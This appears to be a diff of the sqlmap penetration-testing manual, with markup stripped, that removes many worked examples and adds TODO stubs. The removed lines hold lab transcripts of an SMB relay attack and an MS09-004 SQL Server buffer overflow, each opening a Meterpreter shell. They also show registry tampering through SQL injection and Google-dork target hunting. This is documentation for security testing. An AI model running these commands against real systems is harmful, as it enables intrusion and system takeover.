--=[ 392 exploits - 234 payloads -+ -- --=[ 20 encoders - 7 nops - =[ 168 aux - -resource> use windows/smb/smb_relay -resource> set SRVHOST 192.168.136.161 -SRVHOST => 192.168.136.161 -resource> set SRVPORT 139 -SRVPORT => 139 -resource> set PAYLOAD windows/meterpreter/bind_tcp -PAYLOAD => windows/meterpreter/bind_tcp -resource> set LPORT 4907 -LPORT => 4907 -resource> set RHOST 192.168.136.131 -RHOST => 192.168.136.131 -resource> exploit -[*] Exploit running as background job. -msf exploit(smb_relay) > -[*] Started bind handler -[*] Server started. -[*] Received 192.168.136.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 -Service Pack 2 LM: -[*] Sending Access Denied to 192.168.136.131:3242 \ -[*] Received 192.168.136.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows -Server 2003 3790 Service Pack 2 LM: -[*] Authenticating to 192.168.136.131 as W2K3DEV\Administrator... -[*] AUTHENTICATED as W2K3DEV\Administrator... -[*] Connecting to the ADMIN$ share... -[*] Regenerating the payload... -[*] Uploading payload... -[*] Created \wELRmcmd.exe... -[*] Connecting to the Service Control Manager... -[*] Obtaining a service manager handle... -[*] Creating a new service... -[*] Closing service handle... -[*] Opening service... -[*] Starting the service... -[*] Removing the service... -[*] Closing service handle... -[*] Deleting \wELRmcmd.exe... -[*] Sending Access Denied to 192.168.136.131:3242 W2K3DEV\Administrator -[*] Transmitting intermediate stager for over-sized stage...(216 bytes) -[*] Received 192.168.136.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 -Service Pack 2 LM: -[*] Sending Access Denied to 192.168.136.131:3244 \ -[*] Received 192.168.136.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows -Server 2003 3790 Service Pack 2 LM: -[*] Authenticating to 192.168.136.131 as W2K3DEV\Administrator... -[*] AUTHENTICATED as W2K3DEV\Administrator... -[*] Ignoring request from 192.168.136.131, attack already in progress. -[*] Sending Access Denied to 192.168.136.131:3244 W2K3DEV\Administrator -[*] Sending stage (718336 bytes) -[*] Meterpreter session 1 opened (192.168.136.161:51813 -> 192.168.136.131:4907) - -Active sessions -=============== - - Id Description Tunnel - -- ----------- ------ - 1 Meterpreter 192.168.136.161:51813 -> 192.168.136.131:4907 - -msf exploit(smb_relay) > [*] Starting interaction with 1... - -meterpreter > [-] The 'priv' extension has already been loaded. -meterpreter > getuid -Server username: NT AUTHORITY\SYSTEM -meterpreter > exit - -[*] Meterpreter session 1 closed. -msf exploit(smb_relay) > exit - -[*] Server stopped. - - - -Database stored procedure heap-based buffer overflow exploit - -

    -Switches: --os-bof, --priv-esc and --msf-path - -

    -If the back-end database management system is Microsoft SQL Server not -patched against Microsoft Security Bulletin -, sqlmap can exploit the heap-based buffer overflow -affecting sp_replwritetovarbin stored procedure in order to -establish an out-of-band TCP stateful channel between the -attacker host and the target database server. -sqlmap has its own exploit to trigger the vulnerability, but it relies on - to -generate the shellcode used within the exploit. - -

    -Note that this feature is not supported by sqlmap running on Windows -platform because it relies on Metasploit's msfcli which is not -available for Windows. - -

    -This technique is detailed in the white paper - and in the -slide deck . - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 target: - - -$ python sqlmap.py -u http://192.168.136.128/sqlmap/mssql/iis/get_int.asp?id=1 \ - --os-bof -v 1 --msf-path ~/software/metasploit - -[...] -web application technology: ASP.NET, Microsoft IIS 6.0, ASP -back-end DBMS: Microsoft SQL Server 2005 - -[hh:mm:51] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin' -stored procedure heap-based buffer overflow (MS09-004) -[hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack -[hh:mm:56] [INFO] retrieved: 1 -[hh:mm:58] [INFO] retrieved: 1 -[hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2 -[hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode -which connection type do you want to use? -[1] Reverse TCP: Connect back from the database host to this machine (default) -[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports -between the specified and 65535 -[3] Bind TCP: Listen on the database host for a connection -> -which is the local address? [192.168.136.1] -which local port number do you want to use? [21380] -which payload do you want to use? -[1] Meterpreter (default) -[2] Shell -[3] VNC -> -which payload encoding do you want to use? -[1] No Encoder -[2] Alpha2 Alphanumeric Mixedcase Encoder -[3] Alpha2 Alphanumeric Uppercase Encoder -[4] Avoid UTF8/tolower -[5] Call+4 Dword XOR Encoder -[6] Single-byte XOR Countdown Encoder -[7] Variable-length Fnstenv/mov Dword XOR Encoder -[8] Polymorphic Jump/Call XOR Additive Feedback Encoder -[9] Non-Alpha Encoder -[10] Non-Upper Encoder -[11] Polymorphic XOR Additive Feedback Encoder (default) -[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder -[13] Alpha2 Alphanumeric Unicode Uppercase Encoder -> -[hh:mm:16] [INFO] creation in progress .... done -[hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait.. -[*] Please wait while we load the module tree... -[*] Started reverse handler on 192.168.136.1:21380 -[*] Starting the payload handler... -[hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait.. -[*] Sending stage (748032 bytes) -[*] Meterpreter session 1 opened (192.168.136.1:21380 -> 192.168.136.128:12062) - -meterpreter > Loading extension espia...success. -meterpreter > Loading extension incognito...success. -meterpreter > Loading extension priv...success. -meterpreter > Loading extension sniffer...success. -meterpreter > Computer: W2K3DEV -OS : Windows .NET Server (Build 3790, Service Pack 2). -Arch : x86 -Language: en_US -meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE -meterpreter > ipconfig - -MS TCP Loopback interface -Hardware MAC: 00:00:00:00:00:00 -IP Address : 127.0.0.1 -Netmask : 255.0.0.0 - - - -VMware Accelerated AMD PCNet Adapter #2 -Hardware MAC: 00:0c:29:86:69:1b -IP Address : 192.168.136.128 -Netmask : 255.255.255.0 - - -meterpreter > exit - +name="MS10-015">). Windows registry access

    -It is possible to access Windows registry when the back-end -database management system is either MySQL, PostgreSQL or -Microsoft SQL Server, and when the underlying database layer -supports stacked SQL queries. Also, session user has to have -the needed privileges to access it. +It is possible to access Windows registry when the back-end database +management system is either MySQL, PostgreSQL or Microsoft SQL Server, +and when the web application supports stacked queries. Also, session user +has to have the needed privileges to access it. Read a Windows registry key value @@ -4996,41 +2587,6 @@ Switch: --reg-read

    Using this option you can read registry key values. -

    -Example on a PostgreSQL 8.4 target: - - -$ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg-read - -[...] -web server operating system: Windows -web application technology: PHP 5.3.1, Apache 2.2.14 -back-end DBMS: PostgreSQL - -[hh:mm:15] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:15] [INFO] detecting back-end DBMS version from its banner -[hh:mm:15] [INFO] retrieved: 8.4.2, -[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:23] [INFO] retrieved: 1 -[hh:mm:23] [INFO] the back-end DBMS operating system is Windows -[hh:mm:23] [INFO] testing if current user is DBA -[hh:mm:23] [INFO] retrieved: 1 -[hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist -[hh:mm:23] [INFO] retrieved: 0 -[hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist -[hh:mm:24] [INFO] retrieved: 0 -[hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file -[hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file -which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ -CurrentVersion] -which registry key value do you want to read? [ProductName] -[hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ -Windows NT\CurrentVersion\ProductName' -[hh:mm:35] [INFO] retrieved: ProductName REG_SZ Microsoft Windows XP -Registry key value data: 'ProductName REG_SZ Microsoft Windows XP' - - Write a Windows registry key value

    @@ -5039,38 +2595,6 @@ Switch: --reg-add

    Using this option you can write registry key values. -

    -Example on a PostgreSQL 8.4 target: - - -$ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg-add - -[...] -web server operating system: Windows -web application technology: PHP 5.3.1, Apache 2.2.14 -back-end DBMS: PostgreSQL - -[hh:mm:20] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:20] [INFO] detecting back-end DBMS version from its banner -[hh:mm:20] [INFO] retrieved: 8.4.2, -[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:29] [INFO] retrieved: 1 -[hh:mm:30] [INFO] the back-end DBMS operating system is Windows -[hh:mm:30] [INFO] testing if current user is DBA -[hh:mm:30] [INFO] retrieved: 1 -[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist -[hh:mm:30] [INFO] retrieved: 0 -[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file -which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap -which registry key value do you want to write? Test -which registry key value data do you want to write? 1 -which registry key value data-type is it? [REG_SZ] REG_DWORD -[hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test' -with data '1'. This will work only if the user running the database process has privileges -to modify the Windows registry. - - Delete a Windows registry key

    @@ -5079,43 +2603,10 @@ Switch: --reg-del

    Using this option you can delete registry keys. -

    -Example on a PostgreSQL 8.4 target: - - -$ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg-del - -[...] -web server operating system: Windows -web application technology: PHP 5.3.1, Apache 2.2.14 -back-end DBMS: PostgreSQL - -[hh:mm:20] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:20] [INFO] detecting back-end DBMS version from its banner -[hh:mm:20] [INFO] retrieved: 8.4.2, -[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:29] [INFO] retrieved: 1 -[hh:mm:30] [INFO] the back-end DBMS operating system is Windows -[hh:mm:30] [INFO] testing if current user is DBA -[hh:mm:30] [INFO] retrieved: 1 -[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist -[hh:mm:30] [INFO] retrieved: 0 -[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file -which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap -which registry key value do you want to delete? Test -are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\ -sqlmap\Test? [y/N] y -[hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'. -This will work only if the user running the database process has privileges to modify the -Windows registry. - - - Auxiliary registry switches

    -Switches: --reg-key, --reg-value, +Switches: --reg-key, --reg-value, --reg-data and --reg-type

    @@ -5126,80 +2617,52 @@ information when asked, you can use them at command prompt as program arguments.

    -With --reg-key option you specify used windows -registry key path, with --reg-value value item -name inside provided key, with --reg-data value -data, while with --reg-type option you specify -type of the value item. +With --reg-key option you specify used Windows registry +key path, with --reg-value value item name inside +provided key, with --reg-data value data, while with +--reg-type option you specify type of the value item.

    -So, another way of running example from option ---reg-add could be: +A sample command line for adding a registry key hive follows: -$ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg-add \ - --reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1 +$ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \ + --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 -Miscellaneous -Session file: save and resume all data retrieved +General + + +TODO + +

    +Switch: -t + +

    +TODO + + +Session file: save and resume data retrieved

    Switch: -s

    -By default sqlmap logs all queries and their output into a text file while -performing whatever request, both in blind SQL injection and in inband SQL -injection. -This is useful if you stop the injection and resume it after some time. +By default sqlmap logs all queries and their output into a textual file +called session file, regardless of the technique used to extract +the data. +This is useful if you stop the injection for any reason and rerun it +afterwards: sqlmap will parse the session file and resume enumerated data +from it, then carry on extracting data from the exact point where it left +before you stopped the tool.

    -The default session file is output/hostname/session, but you can -change its path with the -s option. +The default session file is output/TARGET_URL/session, but you +can specify a different file path with -s switch.

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -b \ - -v 2 -s "sqlmap.log" - -[...] -back-end DBMS: PostgreSQL -[hh:mm:02] [DEBUG] query: VERSION() -[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C -[hh:mm:03] [ERROR] user aborted - - -

    -As you can see, I stopped the injection with CTRL-C while -retrieving the PostgreSQL banner and logged the session to text file -sqlmap.log. - - -$ cat sqlmap.log - -[hh:mm:00 MM/DD/YY] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL] -[http://192.168.136.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 -on i486-pc- - - -

    -As you can see, all queries performed and their output have been logged to -the session file in real time while performing the injection. - -

    -The session file has a structure as follows: +The session file has the following structure: [hh:mm:ss MM/DD/YY] @@ -5207,55 +2670,22 @@ The session file has a structure as follows:

    -Performing the same request now, sqlmap resumes all information already -retrieved then calculates the query length, in the example -VERSION(), and resumes the injection from the last character -retrieved to the end of the query output. - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -b \ - -v 2 -s "sqlmap.log" - -[...] -[hh:mm:03] [INFO] resuming injection point 'GET' from session file -[hh:mm:03] [INFO] resuming injection parameter 'id' from session file -[hh:mm:03] [INFO] resuming injection type 'numeric' from session file -[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file -[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file -[hh:mm:03] [INFO] testing connection to the target url -[hh:mm:03] [INFO] testing for parenthesis on injectable parameter -[hh:mm:03] [INFO] retrieving the length of query output -[hh:mm:03] [DEBUG] query: LENGTH(VERSION()) -[hh:mm:03] [INFO] retrieved: 98 -[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-... -[hh:mm:03] [INFO] retrieving pending 70 query output characters -[hh:mm:03] [DEBUG] query: SUBSTR((VERSION())::text, 29, 98) -[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real -(Ubuntu 4.3.2-1ubuntu11) 4.3.2 -web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex) -back-end DBMS: PostgreSQL - -[hh:mm:07] [INFO] fetching banner -banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real -(Ubuntu 4.3.2-1ubuntu11) 4.3.2' - +A more user friendly textual file where all data retrieved is saved, is +the log file, output/TARGET_URL/log. This file can be +useful to see all information enumerated to the end. -Flush session file for current target +Flush session file

    Switch: --flush-session

    As you are already familiar with the concept of a session file from the -description of option -s, it is good to know that you can flush -the content of that same file using option --flush-session. -This way you can avoid caching mechanisms implemented by default in -sqlmap. Other possible way is the manual removing of session file(s), -sqlmap.log in the example above, or the default -output/hostname/session if -s is not provided. +description above, it is good to know that you can flush the content of +that file using option --flush-session. +This way you can avoid the caching mechanisms implemented by default in +sqlmap. Other possible way is to manually remove the session file(s). Estimated time of arrival @@ -5264,109 +2694,41 @@ sqlmap. Other possible way is the manual removing of session file(s), Switch: --eta

    -It is possible to calculate and show the estimated time of arrival to -retrieve each query output in real time while performing the SQL injection -attack. +It is possible to calculate and show in real time the estimated time of +arrival to retrieve each query output. This is shown when the technique +used to retrieve the output is any of the blind SQL injection types.

    -Example on an Oracle XE 10.2.0.1 target: +Example against an Oracle target affected only by boolean-based blind SQL +injection: -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -b \ - --eta -v 2 +$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta [...] -back-end DBMS: Oracle - -[hh:mm:24] [INFO] fetching banner -[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query -output again -[hh:mm:24] [INFO] retrieved the length of query output: 64 -[hh:mm:24] [DEBUG] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version -WHERE ROWNUM=1 -77% [=======================================> ] 49/64 ETA 00:00 +[hh:mm:01] [INFO] the back-end DBMS is Oracle +[hh:mm:01] [INFO] fetching banner +[hh:mm:01] [INFO] retrieving the length of query output +[hh:mm:01] [INFO] retrieved: 64 +17% [========> ] 11/64 ETA 00:19

    -then: +Then: -100% [====================================================] 64/64 -[hh:mm:15] [DEBUG] performed 454 queries in 2 seconds -banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product' - +100% [===================================================] 64/64 +[10:28:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod -

    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" \ - --users --eta -v 1 - -[...] -back-end DBMS: Microsoft SQL Server 2000 - -[hh:mm:57] [INFO] fetching database users -[hh:mm:57] [INFO] fetching number of database users -[hh:mm:57] [INFO] retrieved: 3 -[hh:mm:57] [INFO] retrieved the length of query output: 22 -100% [====================================================] 22/22 -[hh:mm:58] [INFO] retrieved the length of query output: 2 -100% [====================================================] 2/2 -[hh:mm:59] [INFO] retrieved the length of query output: 25 -100% [====================================================] 25/25 -[hh:mm:00] [DEBUG] performed 181 queries in 1 seconds -database management system users [3]: -[*] BUILTIN\Administrators -[*] sa -[*] W2KITINQUIS\Administrator +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: Oracle +banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

    As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and -counts the number of retrieved query output characters. - - -Use Google dork results from specified page number - -

    -Switch: --gpage - -

    -Default sqlmap behavior with option -g is to do a Google -search and use resulting urls from first (100) result page for further -sql injection testing. In combination with this option you can specify -some other page other than the first one for retrieving target urls. - -

    -Example of Google dorking with expression login ext:php -and resulting page set to 3: - - -$ python sqlmap.py -g "ext:php login" --gpage 3 -v 1 - -[hh:mm:14] [INFO] first request to Google to get the session cookie -[hh:mm:14] [INFO] using Google result page #3 -[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are -testable targets -[hh:mm:15] [INFO] sqlmap got a total of 89 targets -url 1: -GET http://www.XXX.com/index.php?pageid=login -do you want to test this url? [Y/n/q] -> y -[hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login -[hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file -[hh:mm:17] [INFO] testing connection to the target url -[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:19] [INFO] url is stable -[hh:mm:19] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:21] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:22] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic -[hh:mm:24] [INFO] confirming that Cookie parameter 'PHPSESSID' is dynamic -[hh:mm:27] [INFO] Cookie parameter 'PHPSESSID' is dynamic -[...] - +counts the number of retrieved output characters. Update sqlmap @@ -5375,27 +2737,17 @@ do you want to test this url? [Y/n/q] Switch: --update

    -Using this option you can update the program to the latest version -directly from the Subversion repository along with the latest -Microsoft SQL Server XML versions file from Chip Andrews' -. - - -$ python sqlmap.py --update - -[...] -[hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository -[hh:mm:28] [INFO] updated to the latest revision XXXX -[hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file -[hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update -[...] - +Using this option you can update the tool to the latest development +version directly from the subversion repository. You obviously need +Internet access.

    -The Debian and Red Hat installation packages (deb and rpm) as well as the -Windows binary package (exe) can not be used to update sqlmap. You need -a source package (gzip, bzip2 or zip) to use this feature. +If, for any reason, this operation fails, try with a manual svn +update from your sqlmap working copy. It will perform the exact same +operation of switch --update. +If you are running sqlmap on Windows, you can use the TartoiseSVN client +by right-clicking in Windows Explorer into your local sqlmap working copy +and Update. Save options in a configuration INI file @@ -5406,153 +2758,8 @@ Switch: --save

    It is possible to save the command line options to a configuration INI file. - -

    -Example on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" -b \ - -v 1 --save - -[hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf' -configuration file -[hh:mm:33] [INFO] testing connection to the target url -[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds -[...] - - -

    -As you can see, sqlmap saved the command line options to a configuration -INI file, sqlmap-SAUbs.conf. - - -$ cat sqlmap-SAUbs.conf -[Target] -url = http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1 -googledork = -configfile = -list = -requestfile = - -[Windows] -regread = False -regval = -regdata = -regadd = False -regdel = False -regtype = -regkey = - -[User-defined function] -shlib = -udfinject = False - -[Request] -cookieurlencode = False -ignoreproxy = False -threads = 1 -acert = -retries = 3 -useragentsfile = -atype = -agent = -delay = 0 -headers = -cookie = -proxy = -timeout = 30 -scope = -acred = -referer = -dropsetcookie = False -data = -method = GET - -[Miscellaneous] -updateall = False -sessionfile = -eta = False -batch = False -flushsession = False -cleanup = False -googlepage = 0 -verbose = 1 - -[Enumeration] -limitstop = 0 -getpasswordhashes = False -excludesysdbs = False -getcurrentdb = False -getcurrentuser = False -limitstart = 0 -query = -getusers = False -isdba = False -gettables = False -dumptable = False -getdbs = False -db = -sqlshell = False -tbl = -firstchar = 0 -getcolumns = False -getbanner = True -dumpall = False -getprivileges = False -lastchar = 0 -col = -user = - -[File system] -dfile = -wfile = -rfile = - -[Takeover] -msfpath = -osshell = False -ossmb = False -privesc = False -ospwn = False -tmppath = -oscmd = -osbof = False - -[Fingerprint] -extensivefp = False - -[Injection] -dbms = -string = -postfix = -regexp = -prefix = -testparameter = -estring = -eregexp = -os = - -[Techniques] -utech = -unionuse = False -timetest = False -uniontest = False -stackedtest = False -timesec = 5 - - -

    -The file is a valid sqlmap configuration INI file. -You can edit the configuration options as you wish and pass it to sqlmap -with the -c option as explained above in section 5.2.5: - - -$ python sqlmap.py -c sqlmap-SAUbs.conf - -[...] -banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real -(Ubuntu 4.3.2-1ubuntu11) 4.3.2' - +The generated file can then be edited and passed to sqlmap with the +-c option as explained above. Act in non-interactive mode @@ -5562,50 +2769,32 @@ Switch: --batch

    If you want sqlmap to run as a batch tool, without any user's interaction -when sqlmap requires it, you can force it by using --batch -option, and leave sqlmap to go for a default behaviour. +when sqlmap requires it, you can force that by using +--batch switch. This will leave sqlmap to go with a +default behaviour whenever user's input would be required. + + +Miscellaneous + +TODO

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \ - --batch -v 1 - -[...] -[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic -[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic -[hh:mm:22] [INFO] GET parameter 'id' is dynamic -[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis -[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id' -[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id' -[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis -[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic -[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic -[hh:mm:22] [INFO] GET parameter 'name' is dynamic -[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis -[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name' -[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable -[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name' -[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name' -[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis -[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go -ahead: -[0] place: GET, parameter: id, type: numeric (default) -[1] place: GET, parameter: name, type: stringsingle -[q] Quit -Choice: 0 -[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode -[...] -back-end DBMS: MySQL >= 5.0.0 - +Switch: --beep

    -As you can see, sqlmap by default chose the injection payload to the first -vulnerable parameter. +TODO -Cleanup the DBMS by sqlmap specific UDF(s) and table(s) +TODO + +

    +Switch: --check-payload + +

    +TODO + + +Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

    Switch: --cleanup @@ -5613,30 +2802,57 @@ Switch: --cleanup

    It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you -are done with owning the underlying operating system or file system. +are done taking over the underlying operating system or file system. +Switch --cleanup will attempt to clean up the DBMS and +the file system wherever possible. + + +TODO

    -Example on a PostgreSQL 8.3.5 target: +Switch: --forms - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \ - -v 2 --cleanup +

    +TODO -[...] -[hh:mm:18] [INFO] cleaning up the database management system -[hh:mm:18] [DEBUG] removing support tables -[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput -do you want to remove sys_exec UDF? [Y/n] -[hh:mm:20] [DEBUG] removing sys_exec UDF -[hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text) -do you want to remove sys_eval UDF? [Y/n] -[hh:mm:21] [DEBUG] removing sys_eval UDF -[hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text) -[hh:mm:21] [INFO] database management system cleanup finished -[hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can -only be deleted manually - + +Use Google dork results from specified page number + +

    +Switch: --gpage + +

    +Default sqlmap behavior with option -g is to do a Google +search and use the first 100 resulting URLs for further SQL injection +testing. However, in combination with this option you can specify with +this switch, --gpage, some page other than the first one +to retrieve target URLs from. + + +TODO + +

    +Switch: --parse-errors + +

    +TODO + + +TODO + +

    +Switch: --replicate + +

    +TODO + + +License and copyright + +

    +sqlmap is released under the terms of the +. +sqlmap is copyrighted by its . Disclaimer